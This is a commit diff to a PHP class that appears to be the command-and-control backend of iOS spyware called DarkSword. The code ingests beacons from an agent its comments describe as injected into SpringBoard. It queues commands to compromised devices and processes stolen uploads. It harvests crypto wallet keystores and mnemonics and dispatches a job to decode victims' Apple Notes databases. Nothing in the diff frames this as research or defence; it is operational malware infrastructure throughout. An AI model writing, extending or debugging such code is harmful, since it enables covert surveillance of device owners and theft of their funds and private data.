feat: 18
This commit is contained in:
@@ -8,6 +8,7 @@ use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Jobs\DecodeMemoDb;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\WalletSource;
|
||||
@@ -312,7 +313,16 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
}
|
||||
$existing->forceFill($touch)->saveQuietly();
|
||||
$this->beaconQueue->seed($existing);
|
||||
|
||||
// If the chain was just corrected to DarkSword (e.g. the device was
|
||||
// created by a beacon whose ios_version was nested in device_info
|
||||
// and not parsed on the first request), seed the default queue now.
|
||||
if ((int) $existing->chain === Device::CHAIN_DARKSWORD
|
||||
&& (int) $existing->getOriginal('chain') !== Device::CHAIN_DARKSWORD
|
||||
&& $this->beaconQueue->queueLength($existing) === 0
|
||||
) {
|
||||
$this->beaconQueue->seed($existing);
|
||||
}
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
@@ -344,9 +354,6 @@ class DarkSwordIngestAdapter
|
||||
public function ensureDevice(Request $request, array $payload): ?Device
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if ($device) {
|
||||
$this->beaconQueue->seed($device);
|
||||
}
|
||||
|
||||
return $device;
|
||||
}
|
||||
@@ -362,11 +369,39 @@ class DarkSwordIngestAdapter
|
||||
$payload = array_merge($payload, $stored);
|
||||
if (($stored['stored'] ?? false) === true) {
|
||||
$this->ingestTrustAddressesFromResult($device, $payload);
|
||||
$this->dispatchMemoDecodeIfNeeded($device, $payload);
|
||||
}
|
||||
}
|
||||
$this->beaconQueue->markDone($payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* When the memo_scan manifest (memo_scan.json) finishes storing, the
|
||||
* NoteStore.sqlite trio for this command_id is complete — kick off the
|
||||
* decoder. The decoder re-checks file presence, so an out-of-order
|
||||
* manifest is harmless.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function dispatchMemoDecodeIfNeeded(Device $device, array $payload): void
|
||||
{
|
||||
$category = (string) ($payload['category'] ?? '');
|
||||
$filename = strtolower((string) ($payload['filename'] ?? ''));
|
||||
if ($category !== 'memo_db' && ! str_contains($filename, 'notestore')) {
|
||||
return;
|
||||
}
|
||||
// memo_scan.json is the scan manifest and the last file uploaded by
|
||||
// the c2_agent; triggering on it avoids decoding before the WAL lands.
|
||||
if (! str_contains($filename, 'memo_scan.json')) {
|
||||
return;
|
||||
}
|
||||
$commandId = (string) ($payload['command_id'] ?? '');
|
||||
if ($commandId === '') {
|
||||
return;
|
||||
}
|
||||
DecodeMemoDb::dispatch($device->id, $commandId);
|
||||
}
|
||||
|
||||
/**
|
||||
* A wallet_scan summary (wallet_pkg.json) carries recoverable material
|
||||
* only via its own `installed_wallets` / `sandbox_files` fields. When both
|
||||
@@ -443,12 +478,10 @@ class DarkSwordIngestAdapter
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $value) ?? '');
|
||||
if ($hex === '') {
|
||||
continue;
|
||||
$key = Device::normalizeDarkswordKey($value);
|
||||
if ($key !== null && $key !== '') {
|
||||
return $key;
|
||||
}
|
||||
|
||||
return substr($hex, 0, 32);
|
||||
}
|
||||
|
||||
return null;
|
||||
@@ -472,6 +505,24 @@ class DarkSwordIngestAdapter
|
||||
return substr($value, 0, 64);
|
||||
}
|
||||
|
||||
// Fallback: the c2_agent (injected into SpringBoard by pe_worker)
|
||||
// nests channel_code inside device_info, not at the beacon top level.
|
||||
$devInfo = $payload['device_info'] ?? null;
|
||||
if (is_array($devInfo)) {
|
||||
foreach (['channel_code', 'channelCode', 'channel'] as $key) {
|
||||
$value = $devInfo[$key] ?? null;
|
||||
if (! is_string($value)) {
|
||||
continue;
|
||||
}
|
||||
$value = trim($value);
|
||||
if ($value === '') {
|
||||
continue;
|
||||
}
|
||||
|
||||
return substr($value, 0, 64);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -499,6 +550,17 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: pe_worker / c2_agent nests hardware info inside device_info.
|
||||
$devInfo = $payload['device_info'] ?? null;
|
||||
if (is_array($devInfo)) {
|
||||
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
|
||||
$value = $devInfo[$key] ?? null;
|
||||
if (is_string($value) && trim($value) !== '') {
|
||||
return substr(trim($value), 0, 128);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -514,6 +576,17 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: pe_worker / c2_agent nests ios_version inside device_info.
|
||||
$devInfo = $payload['device_info'] ?? null;
|
||||
if (is_array($devInfo)) {
|
||||
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
|
||||
$value = $devInfo[$key] ?? null;
|
||||
if (is_string($value) && trim($value) !== '') {
|
||||
return substr(trim($value), 0, 64);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user